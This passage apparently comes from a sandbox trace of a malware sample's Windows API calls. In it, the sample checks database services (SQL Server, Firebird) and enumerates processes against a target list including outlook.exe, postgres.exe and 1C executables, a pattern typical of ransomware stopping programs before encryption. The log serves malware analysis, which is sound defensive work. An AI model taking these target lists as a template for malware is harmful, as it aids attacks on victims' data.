lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WpnUserService_13047") returned -1 [0102.531] lstrcmpiW (lpString1="sqlwriter", lpString2="WpnUserService_13047") returned -1 [0102.531] lstrcmpiW (lpString1="mssqlserver", lpString2="WpnUserService_13047") returned -1 [0102.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WpnUserService_13047") returned -1 [0102.531] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x36820c0 | out: hHeap=0x440000) returned 1 [0102.531] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0102.543] Process32FirstW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.544] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0102.544] lstrlenW (lpString="System") returned 6 [0102.544] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0102.545] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0102.545] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0102.545] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0102.545] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0102.545] lstrlenW (lpString="smss.exe") returned 8 [0102.545] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.546] lstrlenW (lpString="csrss.exe") returned 9 [0102.546] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0102.547] lstrlenW (lpString="wininit.exe") returned 11 [0102.547] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.548] lstrlenW (lpString="csrss.exe") returned 9 [0102.548] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0102.548] lstrlenW (lpString="winlogon.exe") returned 12 [0102.548] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0102.549] lstrlenW (lpString="services.exe") returned 12 [0102.549] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0102.550] lstrlenW (lpString="lsass.exe") returned 9 [0102.550] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.551] lstrlenW (lpString="svchost.exe") returned 11 [0102.551] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0102.551] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0102.551] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0102.558] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0102.558] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.558] lstrlenW (lpString="svchost.exe") returned 11 [0102.558] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0102.559] lstrlenW (lpString="dwm.exe") returned 7 [0102.559] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.560] lstrlenW (lpString="svchost.exe") returned 11 [0102.560] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.561] lstrlenW (lpString="svchost.exe") returned 11 [0102.561] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.561] lstrlenW (lpString="svchost.exe") returned 11 [0102.561] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.562] lstrlenW (lpString="svchost.exe") returned 11 [0102.562] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.563] lstrlenW (lpString="svchost.exe") returned 11 [0102.563] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.563] lstrlenW (lpString="svchost.exe") returned 11 [0102.564] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.564] lstrlenW (lpString="svchost.exe") returned 11 [0102.564] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.565] lstrlenW (lpString="svchost.exe") returned 11 [0102.565] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.566] lstrlenW (lpString="svchost.exe") returned 11 [0102.566] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0102.566] lstrlenW (lpString="spoolsv.exe") returned 11 [0102.566] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.034] lstrlenW (lpString="svchost.exe") returned 11 [0103.034] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.035] lstrlenW (lpString="svchost.exe") returned 11 [0103.035] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0103.036] lstrlenW (lpString="audiodg.exe") returned 11 [0103.036] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0103.037] lstrlenW (lpString="sihost.exe") returned 10 [0103.037] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.037] lstrlenW (lpString="svchost.exe") returned 11 [0103.037] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0103.038] lstrlenW (lpString="taskhostw.exe") returned 13 [0103.038] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0103.039] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0103.039] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0103.039] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0103.040] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0103.040] lstrlenW (lpString="explorer.exe") returned 12 [0103.040] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0103.041] lstrlenW (lpString="Memory Compression") returned 18 [0103.041] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0103.042] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0103.042] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0103.042] lstrlenW (lpString="SearchUI.exe") returned 12 [0103.042] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0103.043] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0103.043] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0103.044] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0103.044] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0103.044] lstrlenW (lpString="taskhostw.exe") returned 13 [0103.045] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0103.045] lstrlenW (lpString="UsoClient.exe") returned 13 [0103.045] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0103.046] lstrlenW (lpString="msoia.exe") returned 9 [0103.046] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0103.047] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0103.047] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0103.047] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0103.047] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0103.048] lstrlenW (lpString="msoia.exe") returned 9 [0103.048] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0103.049] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0103.049] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0103.049] lstrlenW (lpString="entering.exe") returned 12 [0103.049] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0103.050] lstrlenW (lpString="measurement nut d.exe") returned 21 [0103.050] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0103.051] lstrlenW (lpString="ai element.exe") returned 14 [0103.051] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0103.051] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0103.052] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0103.053] lstrlenW (lpString="clicking.exe") returned 12 [0103.053] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0103.053] lstrlenW (lpString="pack.exe") returned 8 [0103.053] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0103.054] lstrlenW (lpString="try-gtk.exe") returned 11 [0103.054] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0103.055] lstrlenW (lpString="counseling tmp.exe") returned 18 [0103.055] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0103.055] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0103.056] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0103.056] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0103.056] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0103.057] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0103.057] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0103.058] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0103.058] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0103.058] lstrlenW (lpString="jerry pure.exe") returned 14 [0103.058] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0103.059] lstrlenW (lpString="powerseller.exe") returned 15 [0103.059] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0103.060] lstrlenW (lpString="non firewall.exe") returned 16 [0103.060] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0103.061] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0103.061] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0103.062] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0103.062] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0103.063] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0103.063] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0103.064] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0103.064] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0103.064] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0103.064] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0103.065] lstrlenW (lpString="bd guidance.exe") returned 15 [0103.065] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.066] lstrlenW (lpString="conhost.exe") returned 11 [0103.066] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.067] lstrlenW (lpString="conhost.exe") returned 11 [0103.067] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0103.639] lstrlenW (lpString="lang hl gis.exe") returned 15 [0103.639] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: 